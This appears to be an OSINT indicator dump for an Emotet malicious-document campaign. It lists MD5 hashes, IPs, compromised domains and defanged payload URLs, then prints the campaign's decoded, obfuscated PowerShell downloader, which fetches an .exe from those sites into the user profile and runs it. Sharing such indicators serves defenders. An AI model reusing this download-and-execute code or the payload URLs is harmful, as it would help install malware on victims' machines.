Emotet_Doc_out_2019-10-10_12_26.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
a7fd4bb6e618cf987cbb77e7cba1f875
fd857a9cec5b34df790623f49e5c61bb
d118514da2fff5b79ddce5e0fbbda70c
23f68ef1abecdce9ea2ce2b24f5574d6
23f68ef1abecdce9ea2ce2b24f5574d6
7473c1bc418738260df3926f928c166b
a45ee450a5c3f6bbadfb0a9780141ea4
e60c3b1be6674bca9a254b0a63dfab6f
c2892ecc879699b36259384eb596bfd0
f00ee71dfdb1cc57e020ec82d6404d9b
fdd47fd122562621ab41f9b4dc62ca89
e45d23cb535cfb744b9e0ae1ef553322
f295f6303d9d43edb2a319a615a2d3d1
8e76d75e8283b22b13b9db74732744de
014829959513859eed3e640376f0c05a
67409179b5837e38e3ddf3617929cb28
a0aee3107cc5f513f28762d81d8b391f
e832bcb13582c5196def366376ce9286


IPs:
107.180.0.250
107.180.47.6
109.199.126.127
142.93.178.239
146.66.92.133
160.153.137.17
167.99.47.35
167.99.57.45
185.66.41.4
188.214.21.201
198.71.233.135
35.221.173.188
45.55.63.21
92.53.96.160
97.74.55.12


Domains:
barij-essence.ru
blog.lasoy.net
chrismckinney.com
cjextm.ro
dollarstorepluss.com
gennowpac.org
prettywoman-cambodia.com
salesray.com
squareonerenovationsinc.com
westernwellbeing.co.uk
wkoreaw.com
www.antonieta.es
www.arquiteturasolucao.com
www.kokuadiaper.com
www.mmtt.co.nz


URLs:
hxxp://www.arquiteturasolucao.com/shells/il9l7_6fbjtt-50317998/
hxxp://www.kokuadiaper.com/wp-content/wp-rocket-config/gPjedSRcK/
hxxps://blog.lasoy.net/wp-admin/vBwxpquhVq/
hxxp://prettywoman-cambodia.com/vqxr/cwbeiqihf_7zv7l5jjx-017/
hxxp://barij-essence.ru/tropcj8kfd/HoBkALzmR/
hxxps://salesray.com/freebies/HzTRnIyl/
hxxps://westernwellbeing.co.uk/wp-content.bk/hr2qxq_mydeb-0513806524/
hxxps://dollarstorepluss.com/handle_api/91l800s6_j2tcee7p-50/
hxxps://chrismckinney.com/cris-new-file/dejopn9l68_pgef8-79749073/
hxxp://squareonerenovationsinc.com/roawk/wtuds/UhPJaCWK/
hxxps://www.microsoft.com/ #> $c4764c305805b=
hxxps://www.mmtt.co.nz/genimage/ClUXVYfQ/
hxxps://wkoreaw.com/wordpress/FxiXOLHy/
hxxp://gennowpac.org/wp-content/DJRMUdiP/
hxxp://cjextm.ro/wp-snapshots/oDjcwvxm/
hxxp://www.antonieta.es/caeeq/dtWZYxVo/
hxxps://www.microsoft.com/ #> $c4764c305805b=
hxxps://www.mmtt.co.nz/genimage/ClUXVYfQ/
hxxps://wkoreaw.com/wordpress/FxiXOLHy/
hxxp://gennowpac.org/wp-content/DJRMUdiP/
hxxp://cjextm.ro/wp-snapshots/oDjcwvxm/
hxxp://www.antonieta.es/caeeq/dtWZYxVo/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $x75060bx002b0='c1017xc1b077';
$c0060b61x76 = '244';
$b2c50881499c='b5x9x5073x0';
$c06100202bc07=$env:userprofile+'\'+$c0060b61x76+'.exe';
$bx020331x036='x7500cc4560';
$cc2xx5043b4=&('n'+'e'+'w-ob'+'ject') net.WebCliEnt;
$xxc95407004b='hxxp://www.arquiteturasolucao.com/shells/il9l7_6fbjtt-50317998/
hxxp://www.kokuadiaper.com/wp-content/wp-rocket-config/gPjedSRcK/
hxxps://blog.lasoy.net/wp-admin/vBwxpquhVq/
hxxp://prettywoman-cambodia.com/vqxr/cwbeiqihf_7zv7l5jjx-017/
hxxp://barij-essence.ru/tropcj8kfd/HoBkALzmR/'."SpL`iT"('
');
$bx0b9022155='b0769c130x0c0';
foreach($x30030051xbx5 in $xxc95407004b){try{$cc2xx5043b4."DO`wnload`FIle"($x30030051xbx5, $c06100202bc07);
$c6438b91c07='c0cxxb620009';
If ((.('Get'+'-It'+'em') $c06100202bc07)."LEn`gTh" -ge 20162) {[Diagnostics.Process]::"ST`Art"($c06100202bc07);
$x000bx28xbc90='cc686x00c020';
break;
$b8810cc09666='c0379318c43'}}catch{}}$x0x0bcx3565='x04xb0090359'<# hxxps://www.microsoft.com/ #> $x51105c0c06='x198206b6941c';
$x067xb6b1x4 = '837';
$b62030004500='xx02x336048';
$c777806x1x831=$env:userprofile+'\'+$x067xb6b1x4+'.exe';
$c009805932b4='c20178484500';
$b9521006870=&('n'+'ew-'+'objec'+'t') NeT.weBcLIENT;
$x1bx4b605c0='hxxps://salesray.com/freebies/HzTRnIyl/
hxxps://westernwellbeing.co.uk/wp-content.bk/hr2qxq_mydeb-0513806524/
hxxps://dollarstorepluss.com/handle_api/91l800s6_j2tcee7p-50/
hxxps://chrismckinney.com/cris-new-file/dejopn9l68_pgef8-79749073/
hxxp://squareonerenovationsinc.com/roawk/wtuds/UhPJaCWK/'."spl`it"('
');
$c00b1cxx50b='b0080904201b4';
foreach($b0371840800 in $x1bx4b605c0){try{$b9521006870."DoWNl`oadF`IlE"($b0371840800, $c777806x1x831);
$b500030650c='c0bb4900700b';
If ((&('G'+'et-Ite'+'m') $c777806x1x831)."L`EngTH" -ge 22437) {[Diagnostics.Process]::"stA`Rt"($c777806x1x831);
$c7x000800247='b9975650c89';
break;
$c8098829004='x0c0xb491b16'}}catch{}}$x043b8903x7='x550340399387'<# hxxps://www.microsoft.com/ #> $c4764c305805b='b20212x0018';
$x73305002xc04 = '49';
$b9xx21xx40908='x083180bc490';
$b05098482c570=$env:userprofile+'\'+$x73305002xc04+'.exe';
$b0bcb000502x2='b27c201080b88';
$x5817b6004c=.('ne'+'w-'+'object') neT.wEBClIENT;
$c29410x09c2='hxxps://www.mmtt.co.nz/genimage/ClUXVYfQ/
hxxps://wkoreaw.com/wordpress/FxiXOLHy/
hxxp://gennowpac.org/wp-content/DJRMUdiP/
hxxp://cjextm.ro/wp-snapshots/oDjcwvxm/
hxxp://www.antonieta.es/caeeq/dtWZYxVo/'."spl`it"('
');
$b463x1806082='xc4018cb810b0';
foreach($b86011b5032 in $c29410x09c2){try{$x5817b6004c."doWnLo`ADF`i`Le"($b86011b5032, $b05098482c570);
$c23x0106008='x2769b709841';
If ((.('G'+'et-I'+'tem') $b05098482c570)."L`eNg`Th" -ge 29084) {[Diagnostics.Process]::"StA`RT"($b05098482c570);
$x50416683288c='x608x4844905';
break;
$c04912502805='xx44c260505'}}catch{}}$x684b2x55100='x2b9605c43430'<# hxxps://www.microsoft.com/ #> $c4764c305805b='b20212x0018';
$x73305002xc04 = '49';
$b9xx21xx40908='x083180bc490';
$b05098482c570=$env:userprofile+'\'+$x73305002xc04+'.exe';
$b0bcb000502x2='b27c201080b88';
$x5817b6004c=.('ne'+'w-'+'object') neT.wEBClIENT;
$c29410x09c2='hxxps://www.mmtt.co.nz/genimage/ClUXVYfQ/
hxxps://wkoreaw.com/wordpress/FxiXOLHy/
hxxp://gennowpac.org/wp-content/DJRMUdiP/
hxxp://cjextm.ro/wp-snapshots/oDjcwvxm/
hxxp://www.antonieta.es/caeeq/dtWZYxVo/'."spl`it"('
');
$b463x1806082='xc4018cb810b0';
foreach($b86011b5032 in $c29410x09c2){try{$x5817b6004c."doWnLo`ADF`i`Le"($b86011b5032, $b05098482c570);
$c23x0106008='x2769b709841';
If ((.('G'+'et-I'+'tem') $b05098482c570)."L`eNg`Th" -ge 29084) {[Diagnostics.Process]::"StA`RT"($b05098482c570);
$x50416683288c='x608x4844905';
break;
$c04912502805='xx44c260505'}}catch{}}$x684b2x55100='x2b9605c43430'